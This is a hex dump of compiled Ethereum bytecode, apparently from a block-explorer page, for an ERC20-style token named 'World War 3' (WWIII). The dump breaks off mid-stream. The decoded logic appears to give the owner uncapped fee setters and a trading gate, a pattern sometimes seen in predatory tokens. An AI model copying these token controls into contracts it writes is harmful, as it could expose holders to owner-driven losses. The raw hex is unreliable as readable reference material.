fffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e696112b2565b73ffffffffffffffffffffffffffffffffffffffff1614610e88575f80fd5b5f610e9230610b4d565b9050610e9d81611e39565b50565b610ea86112b2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b90612e4b565b60405180910390fd5b5f5b83839050811015610fcf578160055f868685818110610f5857610f57612e69565b5b9050602002016020810190610f6d9190612ce2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610fc790612ec3565b915050610f36565b50505050565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b61105f6112b2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e290612e4b565b60405180910390fd5b8060168190555050565b6110fd6112b2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611189576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118090612e4b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036111f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ee90612f7a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611327576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131e90613008565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90613096565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161146f91906129ca565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e190613124565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611558576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154f906131b2565b60405180910390fd5b5f811161159a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159190613240565b60405180910390fd5b6115a2610d04565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161057506115e0610d04565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a1057601560169054906101000a900460ff16156116b45760105f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166116b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116aa906132a8565b60405180910390fd5b5b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561173d57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156117a357601382908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6016548111156117e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117df90613310565b60405180910390fd5b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611894576017548161184984610b4d565b611853919061332e565b10611893576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188a906133d1565b60405180910390fd5b5b5f61189e30610b4d565b90505f601854821015905060165482106118b85760165491505b8080156118d25750601560149054906101000a900460ff16155b801561192b575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611941575060158054906101000a900460ff165b8015611994575060055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156119e7575060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611a0d576119f582611e39565b5f4790505f811115611a0b57611a0a47611d65565b5b505b50505b5f6001905060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611ab0575060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611b61575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611b60575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611b6e575f9050611cf1565b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611c17575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611c2f57600854600c81905550600954600d819055505b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611cd8575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611cf057600a54600c81905550600b54600d819055505b5b611cfd848484846120a4565b50505050565b5f838311158290611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d419190612818565b60405180910390fd5b505f8385611d5891906133ef565b9050809150509392505050565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611dc9573d5f803e3d5ffd5b5050565b5f600654821115611e13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e0a90613492565b60405180910390fd5b5f611e1c6120d1565b9050611e3181846120fa90919063ffffffff16565b915050919050565b6001601560146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611e7057611e6f612abe565b5b604051908082528060200260200182016040528015611e9e5781602001602082028036833780820191505090505b50905030815f81518110611eb557611eb4612e69565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f59573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611f7d91906134c4565b81600181518110611f9157611f90612e69565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ff73060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b9565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016120599594939291906135df565b5f604051808303815f87803b158015612070575f80fd5b505af1158015612082573d5f803e3d5ffd5b50505050505f601560146101000a81548160ff02191690831515021790555050565b806120b2576120b1612143565b5b6120bd84848461217c565b806120cb576120ca61233c565b5b50505050565b5f805f6120dc612350565b915091506120f381836120fa90919063ffffffff16565b9250505090565b5f61213b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123a9565b905092915050565b5f600c5414801561215557505f600d54145b61217a57600c54600e81905550600d54600f819055505f600c819055505f600d819055505b565b5f805f805f8061218b8761240a565b9550955095509550955095506121e78660025f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461246a90919063ffffffff16565b60025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506122788560025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546124b390919063ffffffff16565b60025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506122c281612510565b6122cc84836125c7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161232991906129ca565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b5f805f60065490505f66038d7ea4c68000905061237f66038d7ea4c680006006546120fa90919063ffffffff16565b82101561239c5760065466038d7ea4c680009350935050506123a5565b81819350935050505b9091565b5f80831182906123ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e69190612818565b60405180910390fd5b505f83856123fd9190613664565b9050809150509392505050565b5f805f805f805f805f6124228a600c54600d54612601565b9250925092505f6124316120d1565b90505f805f6124428e878787612693565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b5f6124ab83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d03565b905092915050565b5f8082846124c1919061332e565b905083811015612506576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fd906136de565b60405180910390fd5b8091505092915050565b5f6125196120d1565b90505f61252f828461271790919063ffffffff16565b90506125818160025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546124b390919063ffffffff16565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b6125dc8260065461246a90919063ffffffff16565b6006819055506125f7816007546124b390919063ffffffff16565b6007819055505050565b5f805f8061262b606461261d888a61271790919063ffffffff16565b6120fa90919063ffffffff16565b90505f6126546064612646888b61271790919063ffffffff16565b6120fa90919063ffffffff16565b90505f61267c8261266e858c61246a90919063ffffffff16565b61246a90919063ffffffff16565b905080838395509550955050505093509350939050565b5f805f806126aa858961271790919063ffffffff16565b90505f6126c0868961271790919063ffffffff16565b90505f6126d6878961271790919063ffffffff16565b90505f6126fe826126f0858761246a90919063ffffffff16565b61246a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b5f808303612727575f9050612788565b5f828461273491906136fc565b90508284826127439190613664565b14612783576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161277a906137ad565b60405180910390fd5b809150505b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156127c55780820151818401526020810190506127aa565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6127ea8261278e565b6127f48185612798565b93506128048185602086016127a8565b61280d816127d0565b840191505092915050565b5f6020820190508181035f83015261283081846127e0565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61287282612849565b9050919050565b61288281612868565b811461288c575f80fd5b50565b5f8135905061289d81612879565b92915050565b5f819050919050565b6128b5816128a3565b81146128bf575f80fd5b50565b5f813590506128d0816128ac565b92915050565b5f80604083850312156128ec576128eb612841565b5b5f6128f98582860161288f565b925050602061290a858286016128c2565b9150509250929050565b5f8115159050919050565b61292881612914565b82525050565b5f6020820190506129415f83018461291f565b92915050565b5f819050919050565b5f61296a61296561296084612849565b612947565b612849565b9050919050565b5f61297b82612950565b9050919050565b5f61298c82612971565b9050919050565b61299c81612982565b82525050565b5f6020820190506129b55f830184612993565b92915050565b6129c4816128a3565b82525050565b5f6020820190506129dd5f8301846129bb565b92915050565b5f805f606084860312156129fa576129f9612841565b5b5f612a078682870161288f565b9350506020612a188682870161288f565b9250506040612a29868287016128c2565b9150509250925092565b5f60208284031215612a4857612a47612841565b5b5f612a55848285016128c2565b91505092915050565b612a6781612868565b82525050565b5f602082019050612a805f830184612a5e565b92915050565b5f60ff82169050919050565b612a9b81612a86565b82525050565b5f602082019050612ab45f830184612a92565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b612af4826127d0565b810181811067ffffffffffffffff82111715612b1357612b12612abe565b5b80604052505050565b5f612b25612838565b9050612b318282612aeb565b919050565b5f67ffffffffffffffff821115612b5057612b4f612abe565b5b602082029050602081019050919050565b5f80fd5b5f612b77612b7284612b36565b612b1c565b90508083825260208201905060208402830185811115612b9a57612b99612b61565b5b835b81811015612bc35780612baf888261288f565b845260208401935050602081019050612b9c565b5050509392505050565b5f82601f830112612be157612be0612aba565b5b8135612bf1848260208601612b65565b91505092915050565b5f805f805f60a08688031215612c1357612c12612841565b5b5f612c20888289016128c2565b9550506020612c31888289016128c2565b9450506040612c42888289016128c2565b9350506060612c53888289016128c2565b925050608086013567ffffffffffffffff811115612c7457612c73612845565b5b612c8088828901612bcd565b9150509295509295909350565b612c9681612914565b8114612ca0575f80fd5b50565b5f81359050612cb181612c8d565b92915050565b5f60208284031215612ccc57612ccb612841565b5b5f612cd984828501612ca3565b91505092915050565b5f60208284031215612cf757612cf6612841565b5b5f612d048482850161288f565b91505092915050565b5f80fd5b5f8083601f840112612d2657612d25612aba565b5b8235905067ffffffffffffffff811115612d4357612d42612d0d565b5b602083019150836020820283011115612d5f57612d5e612b61565b5b9250929050565b5f805f60408486031215612d7d57612d7c612841565b5b5f84013567ffffffffffffffff811115612d9a57612d99612845565b5b612da686828701612d11565b93509350506020612db986828701612ca3565b9150509250925092565b5f8060408385031215612dd957612dd8612841565b5b5f612de68582860161288f565b9250506020612df78582860161288f565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612e35602083612798565b9150612e4082612e01565b602082019050919050565b5f6020820190508181035f830152612e6281612e29565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612ecd826128a3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612eff57612efe612e96565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612f64602683612798565b9150612f6f82612f0a565b604082019050919050565b5f6020820190508181035f830152612f9181612f58565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612ff2602483612798565b9150612ffd82612f98565b604082019050919050565b5f6020820190508181035f83015261301f81612fe6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f613080602283612798565b915061308b82613026565b604082019050919050565b5f6020820190508181035f8301526130ad81613074565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61310e602583612798565b9150613119826130b4565b604082019050919050565b5f6020820190508181035f83015261313b81613102565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61319c602383612798565b91506131a782613142565b604082019050919050565b5f6020820190508181035f8301526131c981613190565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f61322a602983612798565b9150613235826131d0565b604082019050919050565b5f6020820190508181035f8301526132578161321e565b9050919050565b7f6e6f0000000000000000000000000000000000000000000000000000000000005f82015250565b5f613292600283612798565b915061329d8261325e565b602082019050919050565b5f6020820190508181035f8301526132bf81613286565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000005f82015250565b5f6132fa601c83612798565b9150613305826132c6565b602082019050919050565b5f6020820190508181035f830152613327816132ee565b9050919050565b5f613338826128a3565b9150613343836128a3565b925082820190508082111561335b5761335a612e96565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073695f8201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b5f6133bb602383612798565b91506133c682613361565b604082019050919050565b5f6020820190508181035f8301526133e8816133af565b9050919050565b5f6133f9826128a3565b9150613404836128a3565b925082820390508181111561341c5761341b612e96565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c20725f8201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b5f61347c602a83612798565b915061348782613422565b604082019050919050565b5f6020820190508181035f8301526134a981613470565b9050919050565b5f815190506134be81612879565b92915050565b5f602082840312156134d9576134d8612841565b5b5f6134e6848285016134b0565b91505092915050565b5f819050919050565b5f61351261350d613508846134ef565b612947565b6128a3565b9050919050565b613522816134f8565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61355a81612868565b82525050565b5f61356b8383613551565b60208301905092915050565b5f602082019050919050565b5f61358d82613528565b6135978185613532565b93506135a283613542565b805f5b838110156135d25781516135b98882613560565b97506135c483613577565b9250506001810190506135a5565b5085935050505092915050565b5f60a0820190506135f25f8301886129bb565b6135ff6020830187613519565b81810360408301526136118186613583565b90506136206060830185612a5e565b61362d60808301846129bb565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61366e826128a3565b9150613679836128a3565b92508261368957613688613637565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6136c8601b83612798565b91506136d382613694565b602082019050919050565b5f6020820190508181035f8301526136f5816136bc565b9050919050565b5f613706826128a3565b9150613711836128a3565b925082820261371f816128a3565b9150828204841483151761373657613735612e96565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613797602183612798565b91506137a28261373d565b604082019050919050565b5f6020820190508181035f8301526137c48161378b565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200d4d52ce3f7ad7286ab19c553adc3e7046aaa9d633e4d20b903d9775bbbbdbed64736f6c63430008150033

Deployed Bytecode

0x60806040526004361061019f575f3560e01c806370a08231116100eb57806398a5c31511610089578063c492f04611610063578063c492f04614610598578063dd62ed3e146105c0578063f0ffe6d5146105fc578063f2fde38b14610624576101a6565b806398a5c3151461051e578063a9059cbb14610546578063c3c8cd8014610582576101a6565b80637f2feddc116100c55780637f2feddc146104645780638da5cb5b146104a05780638f9a55c0146104ca57806395d89b41146104f4576101a6565b806370a08231146103e8578063715018a6146104245780637d1db4a51461043a576101a6565b80632fd689e31161015857806368a240f91161013257806368a240f91461035a5780636cf38f06146103825780636d8aa8f8146103aa5780636fc3eaec146103d2576101a6565b80632fd689e3146102dc578063313ce5671461030657806349bd5a5e14610330576101a6565b806306fdde03146101aa578063095ea7b3146101d45780631694505e1461021057806318160ddd1461023a57806323b872dd14610264578063294423b6146102a0576101a6565b366101a657005b5f80fd5b3480156101b5575f80fd5b506101be61064c565b6040516101cb9190612818565b60405180910390f35b3480156101df575f80fd5b506101fa60048036038101906101f591906128d6565b610689565b604051610207919061292e565b60405180910390f35b34801561021b575f80fd5b506102246106a6565b60405161023191906129a2565b60405180910390f35b348015610245575f80fd5b5061024e6106cb565b60405161025b91906129ca565b60405180910390f35b34801561026f575f80fd5b5061028a600480360381019061028591906129e3565b6106d9565b604051610297919061292e565b60405180910390f35b3480156102ab575f80fd5b506102c660048036038101906102c19190612a33565b6107ad565b6040516102d39190612a6d565b60405180910390f35b3480156102e7575f80fd5b506102f06107e8565b6040516102fd91906129ca565b60405180910390f35b348015610311575f80fd5b5061031a6107ee565b6040516103279190612aa1565b60405180910390f35b34801561033b575f80fd5b506103446107f6565b6040516103519190612a6d565b60405180910390f35b348015610365575f80fd5b50610380600480360381019061037b9190612a33565b61081b565b005b34801561038d575f80fd5b506103a860048036038101906103a39190612bfa565b6108d3565b005b3480156103b5575f80fd5b506103d060048036038101906103cb9190612cb7565b610a2e565b005b3480156103dd575f80fd5b506103e6610ade565b005b3480156103f3575f80fd5b5061040e60048036038101906104099190612ce2565b610b4d565b60405161041b91906129ca565b60405180910390f35b34801561042f575f80fd5b50610438610b9b565b005b348015610445575f80fd5b5061044e610ce9565b60405161045b91906129ca565b60405180910390f35b34801561046f575f80fd5b5061048a60048036038101906104859190612ce2565b610cef565b60405161049791906129ca565b60405180910390f35b3480156104ab575f80fd5b506104b4610d04565b6040516104c19190612a6d565b60405180910390f35b3480156104d5575f80fd5b506104de610d2b565b6040516104eb91906129ca565b60405180910390f35b3480156104ff575f80fd5b50610508610d31565b6040516105159190612818565b60405180910390f35b348015610529575f80fd5b50610544600480360381019061053f9190612a33565b610d6e565b005b348015610551575f80fd5b5061056c600480360381019061056791906128d6565b610e0c565b604051610579919061292e565b60405180910390f35b34801561058d575f80fd5b50610596610e29565b005b3480156105a3575f80fd5b506105be60048036038101906105b99190612d66565b610ea0565b005b3480156105cb575f80fd5b506105e660048036038101906105e19190612dc3565b610fd5565b6040516105f391906129ca565b60405180910390f35b348015610607575f80fd5b50610622600480360381019061061d9190612a33565b611057565b005b34801561062f575f80fd5b5061064a60048036038101906106459190612ce2565b6110f5565b005b60606040518060400160405280600b81526020017f576f726c64205761722033000000000000000000000000000000000000000000815250905090565b5f61069c6106956112b2565b84846112b9565b6001905092915050565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f66038d7ea4c68000905090565b5f6106e584848461147c565b6107a2846106f16112b2565b61079d856040518060600160405280602881526020016137cc6028913960045f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6107546112b2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d039092919063ffffffff16565b6112b9565b600190509392505050565b601381815481106107bc575f80fd5b905f5260205f20015f915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60185481565b5f6009905090565b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108236112b2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a690612e4b565b60405180910390fd5b806017819055505f601560166101000a81548160ff02191690831515021790555050565b6108db6112b2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610967576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095e90612e4b565b60405180910390fd5b601560169054906101000a900460ff1615610a0b575f5b8151811015610a0957600160105f84848151811061099f5761099e612e69565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610a0190612ec3565b91505061097e565b505b8460088190555083600a819055508260098190555081600b819055505050505050565b610a366112b2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab990612e4b565b60405180910390fd5b806015806101000a81548160ff02191690831515021790555050565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1e6112b2565b73ffffffffffffffffffffffffffffffffffffffff1614610b3d575f80fd5b5f479050610b4a81611d65565b50565b5f610b9460025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611dcd565b9050919050565b610ba36112b2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2690612e4b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60165481565b6011602052805f5260405f205f915090505481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60175481565b60606040518060400160405280600581526020017f5757494949000000000000000000000000000000000000000000000000000000815250905090565b610d766112b2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df990612e4b565b60405180910390fd5b8060188190555050565b5f610e1f610e186112b2565b848461147c565b6001905092915050565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e696112b2565b73ffffffffffffffffffffffffffffffffffffffff1614610e88575f80fd5b5f610e9230610b4d565b9050610e9d81611e39565b50565b610ea86112b2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b90612e4b565b60405180910390fd5b5f5b83839050811015610fcf578160055f868685818110610f5857610f57612e69565b5b9050602002016020810190610f6d9190612ce2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610fc790612ec3565b915050610f36565b50505050565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b61105f6112b2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e290612e4b565b60405180910390fd5b8060168190555050565b6110fd6112b2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611189576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118090612e4b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036111f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ee90612f7a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611327576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131e90613008565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90613096565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161146f91906129ca565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffff